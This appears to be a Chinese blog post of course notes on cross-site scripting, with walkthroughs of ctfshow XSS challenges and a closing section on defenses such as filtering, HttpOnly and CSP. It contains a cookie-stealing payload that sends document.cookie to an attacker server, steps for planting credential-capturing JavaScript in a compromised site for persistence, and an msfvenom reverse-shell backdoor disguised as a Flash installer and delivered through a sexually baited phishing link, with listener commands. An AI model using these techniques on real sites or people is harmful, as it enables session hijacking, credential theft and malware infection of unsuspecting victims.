xss防护绕过

XSS跨站脚本攻击

#知识点:

1、XSS跨站-原理&攻击&分类等

2、XSS跨站-反射型&存储型&DOM型等

3、XSS跨站-攻击手法&劫持&盗取凭据等

4、XSS跨站-攻击项目&XSS平台&Beef-XSS

1、原理

指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。

常出现的位置

-数据交互的地方

   留言板,评论,文章编辑

get、post、headers

反馈与浏览

富文本编辑器

各类标签插入和自定义

-数据输出的地方

文章显示

用户资料

关键词、标签、说明

文件上传

显示的数据受你控制

2、分类

反射型(非持久型)

存储型(持久型)

DOM型

mXSS(突变型XSS)

UXSS(通用型xss)

Flash XSS

UTF-7 XSS

MHTML XSS

CSS XSS

VBScript XSS

3、危害

网络钓鱼,包括获取各类用户账号;

窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份对网站执行操作;

劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等;

强制弹出广告页面、刷流量等;

网页挂马;

进行恶意操作,如任意篡改页面信息、删除文章等;

进行大量的客户端攻击,如ddos等;

获取客户端信息,如用户的浏览历史、真实ip、开放端口等;

控制受害者机器向其他网站发起攻击;

结合其他漏洞,如csrf,实施进一步危害;

提升用户权限,包括进一步渗透网站;

传播跨站脚本蠕虫等

存储型xss就是输入的数据会储存到数据库中,这个危害是比反射型xss的大的,一般常用这留言板,空间日志中(QQ空间曾爆过储存型xss)。这个就是把攻击代码上传到数据库中,有人访问这个页面,那么攻击代码就会触发。

DOM型xss就是数据的接受和输出都是用js实现的,后期构造在html里面,反射型和储存型接收数据和输出都是在后端(java或则php等)。

存储型实例-订单系统CMS权限获取

订单下单对于备注没有进行过滤,通过xss平台(网上有也可以自己搭建)的恶意代码

使管理员访问订单系统时被获取相关信息,发回到xss平台上

1.下载军锋真人cs野战的源码,http://js.down.chinaz.com/201202/jfdd_v2.0.zip

这里通过XSS平台 ,构造窃取cookie的XSS攻击。将他嵌入刚刚的网页。

盗取cookie后 即可以管理员身份登录了。(不过这里采用了防御措施,sessionid 导致xss平台抓到的cookie不全)

beEF平台搭建

cookie获取 跳转指向 社工钓鱼 配合漏洞

xss-后台植入cookie&表单劫持

条件:已经取得了web权限

目的:为了权限维持

首先我们想打的肯定是写入后门,但是后门可能会被杀毒软件杀掉。

此时我们可以将js代码写入到登录成功文件中,因为是js代码,一般查杀的也查不到。接着利用beEF或者xss平台实时监控。当管理员登录后台的时候我们就可以在平台上得到它的cookie来实现为授权访问。

当获取cookie后不能直接登录时(有session验证)这个时候我们可以直接获取他的账号和密码

xss-flash钓鱼配合msf捆绑上线

条件:beef上线受控后或直接钓鱼(受害者爱看SESE)

1、生成后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=6666 -f exe > flash.exe

2、下载官方文件-保证安装正常

3、压缩捆绑文件-解压提取运行

4、MSF配置监听状态

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 6666

run

5、诱使受害者访问URL-语言要适当

这个就是xss配合msf实现钓鱼,具体方法是首先我们知道这个人对什么感兴趣,比如喜欢色色,喜欢吃瓜。然后利用msf生成一个后门,把名字改成flash.exe,图标可以利用restorator这个工具换成官方的图标(这里用向日葵举例)

然后我们下载官方flash的安装包,把官方的安装包和后门文件捆绑起来(捆绑就是把他俩压缩成一个压缩包,保证目标下载完压缩包也能正常的安装,不让他起疑心)。接着我们准备好那个url,语言尽量的吸引目标,能让他去点击。

点击之后,目标肯定就抑制不住去点击照片,然后提示flash版本过低,然后就会跳转到我们那个事先准备好的地址

当目标点击立即下载,就会下载我们事先准备好的压缩包(这里事百度地址,自己更改一下)然后我们就在msf那里拿到了目标的shell权限

xss过滤绕过

1、XSS跨站-过滤绕过-便签&语句&符号等

2、XSS跨站-修复方案-CSP&函数&http_only等

前置知识:document.cookie是用来直接获取cookie的,window.location.href是获取跳转地址的。

<script>window.location.href= 'http://ip.get.php?参数c=' +document.cookie </script>

过滤script的话

https://xz.aliyun.com/t/4067?time__1311=n4%2BxnD0DyGYQqxmw405%2BbWe4AKwMhgiD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F4067#toc-6 XSS总结 - 先知社区

参考文章短标签绕过

Input Img body svg

过滤空格

316题无任何过滤

直接在框中输入用js代码写成的payload,就是把获取到的cookie直接跳转到我们设定的地址的get.php这个文件。然后在自己的服务器端创建一个get.php,里面写入下面的接受代码,用于接受cookie。而这个flag就是在cookie中。

317题把script标签过滤,换个标签即可。

这里开始就是涉及到标签的过滤了,XSS总结 - 先知社区 该链接里面有下面会用到的各种标签以及相关绕过知识。

注意:我们会用到一些事件,好让机器人(因为这个是靶场,所以是机器人去触发)去触发这个事件,然后就会执行后面的代码。我们在选择事件的时候尽量选择那些容易触发的事件,比如那些点击事件就不太行,因为机器人并不一定会点击。还有就是上面这个报错事件,在小迪演示的时候没有成功,这大概就是因为在靶场中有1这个图片,所以不会执行后面的代码。

318,319题过滤script和img标签,直接用svg标签通杀了。

320到326题过滤空格,把空格换成斜杠即可绕过

注意:这7道题都可以用上面svg加斜杠的payload去通杀不代表他们一样,他们每个题过滤的标签不同,因为有很多标签,每个题过滤一个标签加空格,这里svg正好是没有被过滤的标签,所以才可以通杀。

327到331为储存型XSS

327题无任何过滤,是储存型xss的实际应用。直接把跨站语句写入到邮件内容即可。

328题就不一样了,出现了注册、登录、用户管理的页面。

当我们注册一个账户之后就可以登录了,登录之后点击用户管理发现提示我不是管理员,下面的信息也是显示不了。那么同样的,假如我是管理员的话,当我点击用户管理这个页面时,就可以看到登录过的用户名和密码,那么作为入侵者,我将注册的账号密码改成获取cookie的js代码,当管理员看用户管理这个页面时就会触发js代码,这时我就可以在自己的服务器端收到cookie,然后抓包,利用获取到的管理员cookie来实现未授权访问得到flag。

329题存储型-失效凭据需1步完成所需操作

这个跟上一个不一样的就是我们获取到的cookie(其实这个题获取到的是seesionid,用的也是sessionid)他会失效,它有一个存活期,就算我们得到cookie立马去尝试未授权访问,发现还是不行,因为当你获取到这个cookie的时候它就已经失效了。通过上题我们可以知道它的flag就在页面中,于是我们就可以一步到位,直接一步获取到页面中的flag。

注意:通过本题我们可以知道XSS的功能不止可以获取cookie,还有很多功能,其中就有本题用到的获取网站源码。

这个代码第一行的”.laytable-cell-1-0-1”是flag那个位置对应的标签(其实就是仅管理员可见那个位置的对应的标签,因为flag就是在这个位置出现。)第二行就是把其中带有ctf和show字样的字段筛选出来,然后发送到指定位置。

330-存储型-借助修改密码重置管理员密码(GET)

这个题开始页面就多了一个修改密码的功能,并且通过抓包发现,当我们把密码改了之后,他会有一个数据包传输,说明只要管理员在登录的时候,只要访问这个地址的数据包就会改密码,并且传输方式为get。

注意这里用的是src,没有用window.location.href。因为改密码就要神不知鬼不觉的去,src不会有页面回显,另一个会跳转地址就不行。

利用下面的payload把密码改成123之后,我们直接就可以管理员登录,然后用户管理页面就有flag了。

331-存储型-借助修改密码重置管理员密码(POST)

这个跟刚才的没啥区别就是请求方式不一样,这个是post请求,payload改一下就行了。

xss-修复方案

接下来就是防御XSS的讲解

第一个就是自定义函数来进行过滤,过滤一些危险字符,以及转义& < > " ' 等危险字符

这个就要看过滤的程度了,都过滤了那就没办法了。

第二个就是HTTP-only的引用

https://www.php.cn/faq/457831.html php如何设置httponly-PHP问题-PHP中文网

设置httponly之后会导致获取的cookie不全或获取不到

httponly可以在php-ini配置文件里面设置,当设置成1或者true时,那么利用这个PHP搭建的网站都将受到影响,这个是全局配置。如果是在文件里面配置的话,那么只有在在这个文件获取cookie时会受到影响。

httponly的原理是不让你利用JS把cookie读取到,当有这个httponly时,我们可以利用beef这个平台去获取cookie。还有就是如果不是全局配置设置的httponly,那么他就是在文件里面设置的。我们可以对那些没有设置httponly的文件去获取cookie。当然beef对于两个是通吃的。

第三个是csp的设置

https://blog.csdn.net/a1766855068/article/details/89370320

Web安全2.3:CSP安全策略、Cookie、Session、同源策略、HTML DOM树_下列说法中对同源策略,csp和cors_Slash · Young的博客-CSDN博客

这个csp是比较厉害的,直白的说它可以控制数据的输入输出,比如我们在进行权限维持的时候把xss平台生成的跨站代码放到源码中用来获取管理员的cookie,然后直接右键抓包会发现这个跨站代码触发不了,直接就报错,也就不能像xss平台发送cookie。详细内容看链接。

那么这时我们绕不过的,只有找到这个设置的地方,把他删掉然后进行权限维持的操作,首先在源码中输入Content-Security-Policy进行全局收缩找到删除即可

第四个就是输入内容长度限制,实体转义等

实体转义就是说:比如把尖括号转义了,那么跨站语句也就不能正确执行了。

内容长度限制就是把输入的内容进行长度限制,那么我们的payload就会受到影响,payload写不全,那肯定也就gg。

  • 16
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值